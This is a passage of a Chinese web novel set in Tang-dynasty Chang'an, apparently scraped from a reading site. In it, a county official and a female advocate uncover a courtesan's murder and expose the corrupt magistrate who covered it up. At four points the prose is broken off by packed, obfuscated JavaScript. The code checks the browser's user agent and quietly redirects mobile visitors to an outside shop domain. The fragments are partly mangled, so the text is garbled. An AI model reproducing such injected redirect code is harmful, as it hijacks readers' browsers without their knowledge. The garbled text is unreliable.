县廨效率很高,蔺无舟四人吃口饭的时辰,死者家属就找到县廨来了。 死者马迁,昭武校尉马大洪之子。 马迁前日离家,昨夜发现死在芦苇荡。 同康进一般,马迁也是常年混迹烟花柳巷之地的纨绔子弟。两日没回家,家中人也没意识到不对劲,还是今晨捕手张贴的告示被马家小厮看见了,急忙跑回府告诉马大洪,马家人这才知道,马迁死了。 马大洪只是昭武校尉,在大唐属于武散官,虽无实权,但好歹是个六品官,也是实打实从战场上杀出来的军士。甫一进来,还未见到人,先闻其声。 他声若洪钟,仿佛要把县廨的房顶掀下来:“是谁杀了我儿?” 蔺无舟安抚他:“校尉先冷静些,令郎死因已查明,但还有关于令郎的过往,需要问询校尉。” 谁成想这马大洪颇不讲理,当即骂道:“连个杀人凶手都抓不住,陛下要你们有何用?” “马校尉,话也不是怎么说的吧?”崔宿道:“刑狱缉凶,可不比行军打仗简单。” 马大洪扭头看他,发现说话的人是崔宿,秉持着光骂他不能不骂你的原则,道:“本校尉当是谁呢?原来是中郎将啊。要论行军打仗,末将可有话说一说了。当年末将随大将军征战沙场的时候,中郎将还在院子里同人玩耍呢,这会儿要论行军打仗了?” 在武官体系里,上过战场真刀真枪杀敌的看不起靠世家背景入伍的。马大洪的态度实属正常,而他唯一忽略的一件事,依照金吾卫的选拔程序,崔宿能做到中郎将,定然不是什么花拳绣腿。 “马校尉与其在这里责怪县廨,不如先想想你和你儿子。”樊从青话里带刺,没留半分面子:“照校尉这么说的话,您是征战沙场的英雄,不过还是个散官,怎么没坐上大将军的位置?” 马大洪气得脸红,指着樊从青的鼻子破口大骂,作势要去打她。 蔺无舟见状,把樊从青护在自己身后。 樊从青从他身后探出个脑袋,仰着小脸,笑着说:“马校尉,你可知依我大唐律例,故意伤人致使他人受伤者,刑几十呀?” 她还是笑得那么人畜无害,仿佛不管旁人如何骂,如何做,她都是一副笑靥如花的模样。偏偏就是这样,只消三言两语,可以把人气得一佛出窍二佛升天。 蔺无舟还是护着她,正色道:“马校尉,为了尽早破案,您还是纡尊降贵跟我们说说令郎跟湘灵阁的花魁可有过节?” 马大洪瞪了樊从青一眼,不情不愿道:“我哪儿知道他跟女人有什么牵扯。” “既如此,那我们只能去您家里看看了。” 马家在崇化坊,与康家隔得不远,蔺无舟带着捕手“噔噔噔”敲响了大门。 开门的是马家老仆,老仆人弓着背,稀疏花白的头发随意束在脑后,脸上爬满了皱纹。 他缓缓开口:“几位有何事?” 蔺无舟:“长安县尉蔺无舟,前来问讯办案。” “上官请进。”老仆身着洗得发白的粗布衣衫,衣角还打着细密的补丁,却浆洗得干净整洁。走起步来略显迟缓,但透着股稳重劲儿。 “夫人因郎君的事,伤心过度,现下在房里休息。” 老仆带着蔺无舟到马迁的院子,道:“县尉,那便是郎君的房间了。” 蔺无舟吩咐捕手搜房间,转头道:“马迁平日是个什么样的人?” “郎君他……”老仆犹豫不决。 “如实回答。” 老仆叹口气,道:“郎君平日喜欢跟朋友去湘灵阁,也不读书。三天两头就惹麻烦,到头来还要老爷夫人给收拾烂摊子。旁人见到老爷,也会给几分面子不再计较,但时间一长,谁还愿意继续忍气吞声。” 蔺无舟点头,心下明白几分。康进和马迁,总结起来就是,嚣张跋扈不学无术。 趁这个空档,蔺无舟又去别的院子转了转,老仆恭敬跟在他身后。 府里种了一棵高大的树,树荫几乎遮住了半边院子。蔺无舟漫不经心问他:“马迁在外面有没有相好的?” “这个……老奴就不清楚了。”老仆垂着头,回道:“郎君每次带回来的人都不一样,老奴是做事的,不会过问郎君的私事。” 蔺无舟走到树底蹲下,樊从青沾了点土,在指尖搓了搓,道:“蔺无舟,这里有问题。你还记得吗?我心藏于梧桐下,我身栖在金河里。” 蔺无舟猛地抬头,立马站起身叫来崔宿和捕手。 “怎么了怎么了?”崔宿从房间里赶来,急切道:“这里有问题?” 蔺无舟不答,吩咐老仆带着捕手去取铲子。捕手动作快,不敢耽搁时间,不一会儿就拿着铲子回来了。 “在这儿挖。” 捕手领命。 “怎么就挖这儿了?你们找到什么了?”崔宿疑惑看着两人。 樊从青给他做了个噤声的手势,随后紧张地盯着捕手手里的铲子。 尘土飞扬,捕手刨出来一个坑,深到可以见到梧桐树的树根。 “没有……会不会是我猜错了。”樊从青担心地望着蔺无舟。 蔺无舟勾唇,柔声道:“不会的,我相信你。” 他的话像是给樊从青吃了定心丸,她不再急躁,紧紧盯着坑里的情况。 “有东西!”捕手随手扔下铲子,拿手拂开泥土,露出一个油纸包。 樊从青忙凑上去,只见捕手打开沾满泥土的油纸包,瞬间一股恶臭扑面而来。油纸包里的东西高度腐烂分解,段觉对尸臭的味道很敏感,就算没见到尸块,这味道百分之百是尸臭。 “我想这应该就是兰若的心脏了。” 崔宿奇道:“你怎么知道心脏在这儿?” 樊从青耐着性子慢慢解释:“那个我心藏于梧桐下中郎将可记得?” 崔宿点头。 “我和县尉刚看了,这梧桐树下的泥土,有一块比别的地方要新。而一般树长得高大沈地方,很少会松土。” “这曲子还真应验了。”崔宿露出一抹惊讶,随后回复如常:“那身体是不是在金河里?可金河具体是哪里?” 金河……金河…… 崔宿挠头:“长安城里,可没有叫金河的河。” “谁说,金河一定是指河了?”蔺无舟眉梢微挑,吩咐道:“段觉,你带着人去一趟康家,康家有个湖,猜得没错的话,兰若的身体在里面,找到了尸骨带回县廨。” “我这就去。”段觉行了个礼,带着人走了。 “你只是马家仆人,我不难为你。”蔺无舟眉目肃然,语气冷淡:“将你家夫人请出来。” 老仆无法,颤颤巍巍地去请马夫人。马夫人在丫鬟的搀扶下走出房,一袭华丽的锦缎长裙,裙摆上用金线绣着花卉图案。 马夫人头上梳着精致复杂的发髻,插着各式金簪、玉钗,步摇随着她的一举一动轻轻晃动。 “县尉。”她微微福身。 “马夫人,”蔺无舟颔首,道:“令郎的死,请节哀。但有些事,还请夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289465|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如实相告。” 马夫人坐下来,捂着帕子咳嗽几声,才对丫鬟道:“去给几位上官奉茶。”转而看向蔺无舟,嘴角扯出得体的笑:“让您见笑了,县尉有何事要问?” “令郎与花魁兰若的事情,马夫人可否细细道来?” 闻言,马夫人眉头紧紧皱着,在眉心挤出了纹路,嘴唇轻颤,艰难道:“吾儿……” 蔺无舟看出了她的紧张,目光炯炯盯着马夫人:“在贵府梧桐树下挖出来的油纸包,里面的碎尸块虽腐烂了,不过仵作认得那就是人心。本县尉有理由怀疑,令郎生前杀了兰若并抛尸。我想在马夫人眼皮子底下,夫人不会不知道发生了什么。” 马夫人不敢与蔺无舟对视,手里攥着手帕,指节因用力而泛白。 “吾儿……杀了人……”马夫人终于说出这几个字,心里的石头也轰然落地,藏了半年多的秘密重见天日。 半年前,花魁兰若名动京城,却与康进私定终身。可谁知兰若遇人不淑,康进许下的种种承诺,只是为了得到兰若的身体,因为兰若在湘灵阁卖艺不卖身。 康进是实打实的小人,在酒里下了药,哄骗兰若喝下去。之后便叫上马迁,两人禽兽不如。兰若醒了之后,心如死灰,又看到康进身边换了人,装做不认识她,她闹到康进面前,要他颜面扫地,于是争执过程中,兰若失手被杀,康进二人为了掩盖真相,一把火烧了客栈,伪造兰若身死的假象。 樊从青气得火冒三丈,怒拍桌子:“禽兽不如的东西,害死了这么多条人命!死有余辜!” 马夫人楞楞看着她。 蔺无舟晓得她气,握着她的手腕道:“樊从青,冷静,现在不是你生气的时候。” 樊从青抽出手,愤愤跑出门。 蔺无舟立马跟上去,不想樊从青跑得快,他找到人时,樊从青抱着膝盖坐在台阶上。 “生气了?”蔺无舟坐到樊从青身边,挨着她。 樊从青不理会。 “康进和马迁害死兰若,害了那么多人的性命,固然可恨。但是樊从青,国有国法,凤娘用私刑就是不对。”蔺无舟郑重其事说道:“刑罚知其所加,则邪恶知其所畏,你是个讼师,不会不明白。”(1) 樊从青眼里含着泪花,这是蔺无舟第一次看到她哭,她搅动手指,道:“我知道,可是我实在忍不住。兰若不明不白的死了,凤娘申冤无果,哪里还有公道。” “所以你又为什么要做讼师呢?”蔺无舟递给她手帕,“我做县尉,管不了所有喊冤叫屈之人,但能帮遇到的这样的百姓,尽我所能还他们公道。” 为什么要做讼师呢?樊从青想。 上辈子,她的好朋友在学校被人欺凌,不堪受辱跳搂自杀,而对方有钱有势,销毁了所有证据,导致律师败诉,二审驳回诉求,维持原判。好朋友的父母接受不了打击,先后去世。樊从青拼命考上律师,就是为了帮助这样的人。 来到这里之后,做讼师首先是为了钱,但樊从青更多还是遵从本心。 这世间冤案太多了,沉冤昭雪不是几笔写出来那么简单。但樊丛青说:“我愿尽我所能,让有冤可沉,有雪得昭。” “不生气了吧?”蔺无舟嘴角轻轻上扬,带着不易察觉到的温柔:“樊娘子要是还生气的话,在下买饆饠赔罪如何?” 樊从青双目放光,“你说的喔,蔺县尉一言九鼎,不会哄我吧?” “当然不会。” 蔺无舟站起身,伸手扶她:“走吧,樊讼师。现在去县廨,看段觉那边情况。” 那边崔宿在马府左等右等不见两人回来,心里正纳闷,哄人要哄这么久?实在等不到人的身影,便跟马夫人辞别,去了县廨。 9. 花魁之死(九) 长安县廨。 蔺无舟领着樊从青前脚进门,后脚段觉就到了。 果然不出所料。 跟着段觉的捕手将裹着尸骨的包裹放到廨殓房的桌子上并打开,段觉招呼二人过来看。 “我依照您的安排,到康进家里的湖中打捞起来白骨若干,且都为女子骨架。这些骨头里没有四肢和头骨,我想来是被抛到别的地方了。还有湖底发现了绑着绳子的沉石,一端绑着尸体,因时间过长,肉身腐烂,骨头也散开了。” 蔺无舟拍拍他的肩膀,肯定道:“干得不错。” “没有四肢和头骨……那会被抛尸到什么地方呢?”樊从青摩挲着下巴,问道。 蔺无舟口中喃喃道:“我与郎君拜天地,芳草萋萋芦苇荒……集结捕手,我们去搜芦苇荡。” “可是芦苇荡那么大,而且芦苇又密,人太少的话要找到什么时候?”段觉沮丧道。 “先把县廨里的捕手全带上。” 蔺无舟要带着所有捕手搜芦苇荡的消息很快传到了窦章耳朵里,窦章放下手里的事情匆忙赶去廨殓房。 “慢着!”窦章喊了声,引得众人纷纷回头,连蔺无舟都有些惊诧。平日里,窦章绝不会踏足这里。 “蔺县尉,县廨里的捕手全带走就为了寻找你猜测的尸体,那长安县谁来巡街?要我这个县令亲自上吗?”窦章悠悠道:“况且你只是听了凤娘的一面之词,若芦苇荡没有尸体,那岂不是大动干戈。惊动了百姓,引起恐慌该如何收场?” “依县令觉得,这案子该搁置么?”他阴沉着脸色,段觉知道蔺无舟来了脾气。 “刑狱缉凶,这是蔺县尉的职责。该怎么做本县令也查不了手。”窦章一副事不关己的样子:“本县令还要为城里百姓的安全考虑,县廨里的捕手不能全部去芦苇荡。” 说完这话,窦章不管不顾的离开了。 芦苇荡范围广,仅靠几人根本找不到尸体,无异于大海捞针。料定蔺无舟手上无人,窦章摆明了不想让他带人搜芦苇荡。 找不齐兰若的尸体,凤娘那边拒不开口,案子就毫无进展。 蔺无舟看着他离开的背影,生生气得笑了出来。 樊从青和段觉趴在桌上一筹莫展,蔺无舟倚靠在门旁,盯着油灯的火苗,也不知道在想什么。 崔宿到县廨看到的就是这般模样。 “怎么了这是?”他很少见到蔺无舟这样子,一般都是生气的前兆。 樊从青泄气道:“段觉去康家找到的尸骨里没有四肢和头骨,蔺县尉怀疑是抛在芦苇荡,于是想带人去搜。芦苇荡多大呀,肯定要很多人,但县令不同意。没有人手,靠我们几个翻到过年都翻不出来。” 崔宿给蔺无舟顺毛:“我就知道窦章那老匹夫抠门,我让我的人来,他们今日不巡夜,可以搜芦苇荡。金吾卫那么多人,最迟明早就能找完。” 蔺无舟投过去感激的眼神:“多谢中郎将。” 崔宿摆手:“小事。” 樊从青拉了拉蔺无舟的袖摆,小声道:“明日,就是秦望轩第二次过堂了,我们最好能赶在读鞫前把尸骨找到。” “行。”蔺无舟应下。 崔宿回了趟金吾卫大营,把手下不当值的金吾卫全带去了芦苇荡。 走进去,脚下是松软的泥土,周围全是生得比人还高的芦苇杆,挨挨挤挤,高高低低,像一道天然的屏障。长风一吹,在风中摇曳。风携带者丝丝凉意穿梭其中,芦苇荡发出簌簌的响声。 蔺无舟攥着樊从青的腕子,生怕她走丢在这芦苇荡里,时不时还提醒她注意脚下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289466|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “蔺县尉?蔺无舟?”樊从青叫他:“你这样紧张,怕鬼啊?” 好半晌没听到蔺无舟的回答,樊从青准备再开口的时候,蔺无舟笑着道:“世上是没有鬼神的,如果真有,那见到樊小娘子也该逃之夭夭了。” “你什么意思?”樊从青拧了一把蔺无舟的手背,他吃痛哼了声,但也没有放开。 蔺无舟突然停下脚步,眸子黑沉沉的看着她,像是直直看进了她心里:“没什么意思,就是觉得樊娘子有神仙护佑,定然叫妖魔避让逢凶化吉。” 樊从青呼吸一滞,感觉心跳漏了半拍。 芦苇荡里有人高呼道:“找到了!我这里找到了!” 蔺无舟松口气,领着她退出芦苇荡。 找到尸骨的金吾卫拿布将尸骨包起来,小心翼翼地从芦苇荡中摸索出来递给段觉,段觉连忙接过尸骨,摊在地上。 仔细辨认了一下尸骨,段觉确认道:“这是女子的四肢……只是这些骨头里没有头骨。” 崔宿问那金吾卫:“发现尸骨的时候可见到头骨了?” 金吾卫摇头道:“属下没有见到头骨,是不是在别的地方?” 蔺无舟否定了他的说法:“不可能,整片芦苇荡都找过了,都没看见兰若的头骨。” “那奇了怪了,曲子里出现的地方我们都找过了,芦苇荡里没有头骨,那头骨还能自己长腿跑了不成?” 崔宿抱怨完,就是片刻的沉默。 又一次陷入了僵局。 “我想我们是不是又漏了什么。”樊从青绞尽脑汁没得个所以然。 “哪知郎君心两方,回首相看血与泪。这句没有任何直接的地点或者暗示地点。那就剩最后一句犀照高悬明镜处,吾将所归是故乡了。可是犀照高悬明镜处是哪里?” 10. 花魁之死(上) 夜色昏昏,蝉噪林静,蛙鸣田幽,弯月高挂枝头。次日晨光熹微,天光大亮。 长安,县廨。 堂鼓敲响,声声震耳,捕手鱼贯而出,分列两旁,手持水火棍往地上一跺,齐声高呼“威武”。 窦章身着官服,头戴乌纱帽,神色威严地步入大堂,在公案后坐下。 他扫了一眼堂下跪着的几人,一拍惊堂木道:“堂下何人?所诉何事?” 王方永低垂着头:“草民王方永,代苦主十二娘诉。”他递上诉状,义正辞严道:“草民要状告秦望轩故意杀害湘灵阁花魁凤娘,手段残忍,当处极刑。” 秦望轩匆匆回头看了眼围观的百姓,迟迟不见樊丛青的身影,未免有些急躁。秦氏着急忙慌地派人去寻樊丛青,报回来的口信都是樊丛青还未归家。 秦氏搅紧了手中的帕子,跺了跺脚:“这个时分樊从青哪里去了?都开堂了还不来!” 窦章偏头看他,问道:“秦望轩,你可有争辩?速速道来。” “上官,我真的没有杀害凤娘……我我……”秦望轩膝行上前,颤抖着声儿:“劳烦上官再等等,我表妹马上便到。” “大胆!”窦章将惊堂木拍得震天响:“公堂之上岂是儿戏?难不成本官读鞫还要等她不成?她人呢?” 那头樊从青和蔺无舟紧赶慢赶从城外芦苇荡回来,终于掐着这个点到了县廨门口。 “慢着!”樊从青大喝一声走进大堂,冲着窦章行礼道:“县令,我知道您急,但您先别急。” “县令,十二娘所诉秦望轩杀害了湘灵阁花魁凤娘,但凤娘并没有死,这个诉状本身便不成立。何况现场连个人证都没有,秦望轩杀人更是无稽之谈。” “荒谬。”王方永拂了拂袖子,反驳道:“凤娘的尸体分明在县廨,你说死的不是她就不是她?若举证都像你这般,哪日天马行空的证词是不是也可作为呈堂证供了?” “你急啥?”樊从青乜他:“谁说我的证词是天马行空了?” 蔺无舟一抬下巴,捕手立马压上来凤娘和老驿卒。 “堂下何人?” 凤娘穿着姐简陋粗糙的囚衣,凌乱不堪的几缕发丝贴在污痕斑斑的脸颊,手腕脚踝被沉重的镣铐磨得破皮渗血。 她拖着步子跪下,道:“我就是凤娘。我能作证秦小郎君没有杀人。” 樊从青挺直了身姿,不卑不亢道:“凤娘一案,秦望轩无罪,还望县令明查。” 窦章一锤定音,落下判词:“人证尚在,秦望轩杀人一案实为乌龙,秦望轩无罪。” 秦望轩站起来,秦氏立马围上去抱着秦望轩,招来捕手给他打开镣铐。 秦氏捏着手帕擦了擦他的脸,心疼得很:“吾儿,受苦了。” 凤娘直直起身,又对着蔺无舟跪下,重重地磕了个头:“县尉犀照高悬,洞见冤情,民女喊冤,请县尉做主!” 窦章心下一抖,喝道:“本县令在此,你为何要县尉为你申冤?” 凤娘恶狠狠地瞪着他:“狗官,我要状告你。” “大胆!公堂之上血口喷人,指摘县令,本县令要治你犯上之罪!” 左右都是一死,凤娘敢在公堂上状告县令窦章,无疑在赌蔺无舟是个能为民请命的清官。 樊从青拱手道:“县尉,若牵扯到县令,依照避嫌的惯例,那这审案之人便不能是窦县令。” “胡闹。”窦章攥紧了惊堂木,“本县令乃长安县令,公堂上还有谁能审?” 窦章话音刚落,只听县廨外捕手高呼:“雍州长史到——” 堂外围观的百姓让出一条道,迎面走来一身着浅红色圆领官服,腰际束着条黑色革带的官员。 ——正是这雍州长史,杜慈。 众人齐齐行礼:“见过杜长史。” 窦章点头哈腰起身,杜慈略过他坐到公案后,与蔺无舟目光交汇,微微颔首。 杜慈收回视线,厉声道:“堂下有冤者,速速上报冤情,本官自会做主。” “民女要状告长安县令窦章,包庇杀人凶手,害死我姐姐兰若。他任职长安县令期间,收受贿赂,草菅人命,尸位素餐。民女所诉如有虚假,死后甘愿堕入畜生道,永世受尽磋磨,无怨无悔!” 窦章辩解道:“长史,下官与她素不相识,更别提杀害她的姐姐,至于收受贿赂草菅人命那是栽赃陷害,下官万万不敢做出这等事。” 杜慈未听他说话,只对凤娘道:“你且将你姐姐兰若一案,细细道来。” “民女本名兰因,云州陈县人,与姐姐逃难来到长安,客居在此。” 半年前,兰家姐妹双双进入湘灵阁,兰若因面容姣好能歌善舞成为阁中花魁,兰因脸上有片胎记,常以面纱示人。 兰若与康进私定终身,在芦苇荡拜了天地,那时的兰若以为遇到了良人,可谁知康进是个里外烂透了的人,与马迁给兰若下药,事后失手杀了兰若。二人把兰若的尸体带到客栈,伪造成客栈失火,兰若葬身火海的假象。 本以为万无一失,兰因却在那场大火里存活下来,被老驿卒所救。之后便韬光养晦,因记性不错,不过月余学会了琵琶,又在吐火罗商人那里买来了樨角香,学会了易容之术,一跃成为湘灵阁的新花魁。 “民女招供,民女杀了康进和马迁,他们罪有应得,县廨中我的尸体,是我姐姐在湘灵阁照顾起居的婢女。” 杜慈问道:“你为何要杀那个婢女?” “她伙同康进、马迁害了我姐姐,明明我姐姐生前待她不薄,而她为了一点私利忘恩负义,她该死!她该死!” “那你诉窦章何罪?” 凤娘又重重地磕下头:“窦章身为县令,民女求他做主,他收受了康进和马迁的钱,包庇他们的罪过,还对民女赶尽杀绝。长史,民女所言句句属实,请上官还我姐姐公道!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329738|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那你姐姐尸骨在何处?”杜慈思索一番,道。 蔺无舟撇了眼窦章,道:“禀长史,死者兰若的尸体被分尸了,县廨只有身体和四肢,头骨刚从窦章府中找到,捕手在来的路上。” 窦章瞬间慌了神,大喊道:“我没有!谁允许你们私闯民宅!我要上奏陛下!” 樊从青抬腿一脚,把窦章踢了回去,他气得破口大骂:“你敢踢本县令,本县令要砍了你的头!” “窦县令,您还是先管好您自己的头再说我的吧。”樊从青微笑着,看向杜慈的时候变得严肃:“长史,民女樊从青,代苦主凤娘诉。” 杜总头一次在公堂上见到女子为人代诉,实在有些稀奇,他道:“哦?你说。” 樊从青颔首低眉,恭敬道:“民女与县尉查案中,发现此案疑点重重。窦章作为长安县令,是一方百姓的衣食父母,理应事事以百姓为先。但窦章一反常态,不仅明里暗里阻挠县尉查案,还试图杀凤娘灭口。好在县尉早有防备,将凤娘交于金吾卫中郎将崔宿崔将军,才避免凤娘死于狱中。如若不然,今日便是凤娘畏罪自杀,那兰若之死将再难大白天下。” 杜慈眼中尽是赞许的目光,蔺无舟也暗暗鼓励她。虽然清楚樊从青不会在公堂上露怯,但他就想鼓励她,让她知道有人为她撑腰。 “长史,民女认为,凤娘虽动用私刑,杀害了三人,但也是世道逼迫下的无奈之举。那三人泯灭人性,人人得而诛之。若此事发生在民女身上,官府得不到公道,那私刑便是讨公道的利刃。”樊从青小小的身躯跪趴着地,道:“请长史明鉴!” 堂外围观的百姓纷纷下跪,齐声高喊:“请长史明鉴!” 众人的声音回旋在公堂里,徘徊许久,杜慈不是没见过这样的场面,与其说法律决定公道,倒不如说对错只在民心。 “长史,”凤娘眼含泪花:“民女有罪,不求苟活于世,只要长史还我姐姐公道,民女虽死不悔。” “窦章,你可还有话要说?” 窦章瘫坐在地上,眼神空洞不知道在想什么,忽然放声大笑:“是我做的!都是我做的!是我做的怎么了?我收受贿赂,那你们谁又敢说自己清清白白?” “你,你蔺无舟好威武啊。年少成名,陛下和太子都对你青睐有加,你蔺无舟是公主的儿子,连当县尉都要压我这个县令一头。”窦章状似疯魔:“我寒窗苦读数十年才考上功名,而你们都是皇亲国戚,生来就要比我高贵,年纪轻轻就要任司法参军。凭什么!” 不论理由为何,犯罪就是犯罪,从来没有正理错误之说。没有人能为犯罪开脱,若都像窦章这样,那天下不得翻天了? 樊从青嗤笑道:“蔺县尉年少成名,靠的是自己,不是有个当公主的母亲。你将自己的失败归结于他人的家世优越,未免有些好笑了。像你这样的人渣,就算是给你再优越的家世,你也还是个心术不正的人渣。” 11. 花魁之死(下) “你说得对啊,我就是个人渣,一事无成的人渣。”窦章眼神变得狠厉,起身一头撞向柱子,霎时鲜血四溅。 众人被吓一跳,围观的妇人急忙捂住小孩子的眼睛。 蔺无舟探了探他颈侧,摇头道:“已经死了。” “畏罪自杀了?”樊从青道:“不该呀,他怎么会想死呢?窦章这种人最是惜命,能苟活绝不会放弃生命的。” 捕手带下去窦章的尸体,清理干净四溅的鲜血。杜慈一拍惊堂木,从容自若道:“嫌犯窦章,拒不认罪,于公堂上撞柱而死。按律抄没家产,立刻执行!凤娘二人,犯下杀人恶行,但念在事出有因,徒三年。之后本官会将康家与马家之事上奏陛下,如何处置陛下自有论断,你且安心。” 凤娘喜极而泣,连连感谢:“多谢长史!多谢县尉!多谢樊娘子!兰因必定替姐姐报答恩情!” 蔺无舟摆手:“不谢,这是我该做的。” 樊从青将凤娘扶起来,替她拍了拍身上的尘土。 “兰小娘子,在大唐广袤的疆土上,只要肯出力,你一定能好好活着。你本该是晴日的烈阳,盛放的芙蓉,合该鲜亮的活着。” 凤娘展颜:“多谢樊娘子,我想我知道以后做什么了。” 此时的阳光不如正午时分的刺眼,日落西山,阳光铺在县廨的青石路上。樊从青微微眯眼,伸手挡住了阳光。 堂审已过,百姓尽数散去,县廨又恢复了宁静,捕手各司其职,县廨没有县令,最大不过蔺无舟,只有等着新任县令上任。 “在想什么?”蔺无舟不慌不忙走到她身旁坐下,好奇问道。 “看到角落那些花了吗?” 蔺无舟顺着樊从青的目光看过去,角落的花开得正艳丽,吸引了不少蜜蜂盘旋在花朵上。 “大唐多美好呀,像那丛花一样。”樊从青看似悠闲,失笑道:“人人皆道这世道繁荣,山河锦绣。可我看到的却是繁荣之中藏着冤魂,锦绣之下埋着罪恶。” 后世史书落笔,说这大唐江山壮丽,处处歌舞升平,山河万里长见落日,疆土辽阔不绝人烟。于是醒来明月,醉后清风。(1) 蔺无舟愣了下,眉眼如画的脸庞浮现一丝笑意,双眼定定地看着她:“为官者,当为民也。食君之俸,忧君之忧。乐百姓之乐,哀百姓之苦,不藏私心,于是天下海晏河清。百官皆如是,是以世道清澈,盛日即临。” 他总是有一番能说服自己的说辞。樊从青想。蔺无舟为官不过几年,他生来众星捧月,要什么有什么,很难体会百姓的苦。有时候腰间的一块玉佩或者是写字的一只毛笔,便是普通人家两三年甚至是六七年的活计。 但樊从青觉得,统治者阶层能做到蔺无舟这样,确实属于极致了。 樊从青耸耸肩,平静道:“那老驿卒帮她,只因自己有个女儿,也是被世家子弟害死,自己四处申冤无果。” 珍宝易求,公道难彰。 蔺无舟声音清润,好似清泉击石,融进她的耳膜里:“不是所有事情都要分个是非对错,有时候公道自在人心。” “蔺无舟!”樊从青稍抬眼皮,一双桃花眼撞进更深邃的眼睛里,胜过万语千言。 “我大唐律例虽涉及面广,上到礼仪规制,下到百姓民生,事无巨细。但我发现了很多漏洞,应该要修改的漏洞。” “你想修改律例?”蔺无舟沉思许久才道:“我会上奏陛下,你可先将所见的漏洞写下来,我呈给陛下定夺。” 樊从青点头,把此事记在心里。 下午还晴天落日,樊从青回家的路上便小雨忽至,淅淅沥沥打在青瓦上。刚回到院里,雨声中夹杂着几个响雷。 晚冬听到樊从青回来的声音,举着伞给她挡雨,两人并排着进了屋。樊从青拍了拍衣服上的雨水,接过帕子擦干净头上的水珠。 “娘子您可算是回来了。”晚冬嗔怪一句:“娘子整日不见人,可急死奴婢了!” 樊从青含糊应付她:“好晚冬,我这不是去挣钱了嘛,总不能混吃等死吧。” “是是是,娘子总是有理,奴婢说不过。”晚冬找来干燥的衣服给樊从青,要她换上,而后又去厨房煮了碗姜汤。 回来时樊从青坐在桌旁,死死盯着桌上折叠整齐的衣服:“晚冬,今天有人来了?” 晚冬把姜汤放在桌上,半晌才微微点头。 樊从青问:“谁?” 晚冬吞吞吐吐道:“是府里……夫人身边的嬷嬷来了。” 樊从青追问:“白氏来做什么?” 白氏本看不惯樊从青,平日连口饭都不乐意给她吃,更别提给樊从青送衣服,俗话说事出反常必有妖,樊从青做好了心理准备——白氏铁定没憋什么好屁。 “嬷嬷传话说夫人给娘子说了门门当户对的亲事,婚期在月底。” ……心理准备还是做少了。 樊从青深吸口气:“我爹那老登和祖母知道吗?” 晚冬摇头。 樊从青了然。祖母肯定是不知情的,不然不等樊从青开始闹,祖母就得把她爹骂个狗血淋头。至于樊廷玉,肯定是跟白氏一拍即合,要把樊从青这个烫手山芋扔出去的。 “背着我就敢偷偷给我说亲事,不怕我嫁过去炸了夫家的房子!”樊从青猛地一拍桌子:“我不嫁,谁爱嫁谁嫁!” 晚冬露出愁容,道:“那娘子要怎么办?奴婢都听娘子的。” 现在轮到樊从青愁了。 “祖母正在俭念寺中礼佛,我根本见不到她。”樊从青眉头微蹙,旋即舒展开来:“罢了,愁也没用,走一步是一步吧……那嬷嬷来时有没有说男方是何许人?” “娘子我去打听过了。那男方家住万年县,父母经商,家底还算厚实。但是娘子,此人实在不是什么好东西。听街坊讲,他平日看着是个斯斯文文的读书人,背地里干出不少腌臜事情。” 樊从青凑近几分,一脸八卦的样子:“什么腌臜事情?快说与我听听。” “宋家十娘子可还记得?” 她思索一番,蓦地道:“那个被婆母磋磨而死那个?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335742|152086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这事儿是樊从青才来不久听说的,在坊间传的沸沸扬扬的,不少人都知道。后宅不宁是常有的事,连天子也免不了,但因这个而死的,除了皇帝的后宅,那男的倒是独一份了。 “可不是嘛!”晚冬压低声音道:“宋家娘子嫁过去没多久,男方整夜不归家,天天夜宿烟花柳巷,还受尽婆母磋磨,便郁结于心去世了,男方家里腌臜事情不少哩。” 樊从青越听越气,笑了一下:“这样的亲事还敢说门当户对,死老登怎么不让樊华黎嫁过去?” “真以为我樊从青是个任人捏圆搓扁的软包子是吧?”樊从青阴恻恻笑着:“我到要看看你们想做什么。” 室内水汽袅袅,崔宿将热气腾腾的茶倒在茶杯里,递给坐在对面的人。 